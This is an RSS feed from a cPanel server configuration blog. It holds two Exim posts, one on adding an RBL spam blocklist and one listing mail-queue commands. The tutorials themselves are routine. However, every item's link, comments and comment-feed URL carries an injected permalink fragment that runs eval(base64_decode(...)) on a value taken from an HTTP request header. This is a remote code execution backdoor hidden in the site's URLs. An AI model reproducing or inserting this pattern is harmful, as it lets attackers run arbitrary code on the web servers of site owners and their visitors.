<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; exim</title>
	<atom:link href="http://www.cpanelconfig.com/tag/exim/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adding a new RBL to cPanel Exim</title>
		<link>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 21:44:18 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[rbl]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=93</guid>
		<description><![CDATA[



More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
More then a year ago, cPanel added a future to the Exim Configuration Editor for everyone to easily select from two RBLs (spamhaus.org and spamcop.net) that can be used to filter most of the SPAM that a server receives. While this has been great for most of us (enabling a RBL is a simple as selecting a check box in WHM and pressing the Save button), there are a few admins that would have liked to add additional RBLs to the list that Exim uses to filter SPAM emails. RBLs like dnsbl.njabl.org, list.dsbl.org, dul.dnsbl.sorbs.net, etc. are all considered useful by many, but not included by default.</p>
<p>The question is how can such a RBL be added to Exim ?<br />
Well it&#8217;s not that hard !<br />
First you will have to login to your server using ssh.<br />
After a successful login:<br />
<!--adsense--></p>
<ol>
<li>Change directory to /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</li>
<blockquote><p>cd /usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK</p></blockquote>
<li>Make a copy of of spamcop_rbl and name it with the new rbl name that will be used. For exemple</li>
<blockquote><p>cp spamcop_rbl  njabl_rbl</p></blockquote>
<li>Open the newly created file</li>
<blockquote><p>nano njabl_rbl</p></blockquote>
<li>Change the two &#8220;dnslists&#8221; entries to the address of the new RBL. For example the new file should look something like this for dnsbl.njabl.org</li>
<blockquote><p>root@server [/usr/local/cpanel/etc/exim/acls/ACL_RBL_BLOCK]# cat njabl_rbl</p>
<p>deny message = JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text<br />
dnslists = dnsbl.njabl.org<br />
hosts = +backupmx_hosts</p>
<p>warn<br />
dnslists = dnsbl.njabl.org<br />
set acl_m8 = 1<br />
set acl_m9 = &#8220;JunkMail rejected &#8211; $sender_fullhost is in an RBL, see $dnslist_text&#8221;<br />
[% ACL_RBL_WHITELIST %]</p>
<p>warn<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
ratelimit = 0 / 1h / strict / per_conn<br />
log_message = &#8220;Increment Connection Ratelimit &#8211; $sender_fullhost because of RBL match&#8221;</p>
<p>drop<br />
condition = ${if eq {${acl_m8}}{1}{1}{0}}<br />
message = ${acl_m9}</p></blockquote>
<li>Save the file</li>
<li>Run</li>
<blockquote><p>/scripts/buildeximconf</p></blockquote>
</ol>
<p>That&#8217;s it you should now have the RBL added to your Exim mail server. You can off curse add as many RBLs as you like but please keep in mind that too many of them will increase the chances of false positives and can increase the general load on the server.<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/04/adding-a-new-rbl-to-cpanel-exim/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>exim commands</title>
		<link>http://www.cpanelconfig.com/2008/10/03/exim-commands/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/03/exim-commands/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 11:39:59 +0000</pubDate>
		<dc:creator>copilas12</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[exim]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=56</guid>
		<description><![CDATA[Hello. I want to share some helpful exim commands for large mailservers:
1. froze messages to recipient root@host.localhost.com

/usr/sbin/exiqgrep -i -r root@host.localhost.com &#124; /usr/bin/xargs exim -Mf
2. delete frozen messages
/usr/sbin/exiqgrep -z -i &#124; /usr/bin/xargs exim -Mrm
3. delete messages older than X hours (X in seconds)
/usr/sbin/exiqgrep -o X -i &#124; /usr/bin/xargs exim -Mrm
4. total messages in queue
/usr/sbin/exiqgrep &#124; /usr/sbin/exiqsumm [...]]]></description>
			<content:encoded><![CDATA[<p>Hello. I want to share some helpful exim commands for large mailservers:</p>
<p><strong>1. froze messages to recipient root@host.localhost.com</strong><br />
<!--adsense--><br />
/usr/sbin/exiqgrep -i -r root@host.localhost.com | /usr/bin/xargs exim -Mf</p>
<p><strong>2. delete frozen messages</strong></p>
<p>/usr/sbin/exiqgrep -z -i | /usr/bin/xargs exim -Mrm</p>
<p><strong>3. delete messages older than X hours (X in seconds)</strong></p>
<p>/usr/sbin/exiqgrep -o X -i | /usr/bin/xargs exim -Mrm</p>
<p><strong>4. total messages in queue</strong></p>
<p>/usr/sbin/exiqgrep | /usr/sbin/exiqsumm | grep TOTAL<br />
<!--adsense--><br />
For other very useful commands, please visit: <strong><a href="http://www.skillett.com/index.php/258/hands-on-with-an-exim-cheatsheet">http://www.skillett.com/index.php/258/hands-on-with-an-exim-cheatsheet</a></strong>. Thanks Keiron.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/03/exim-commands/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
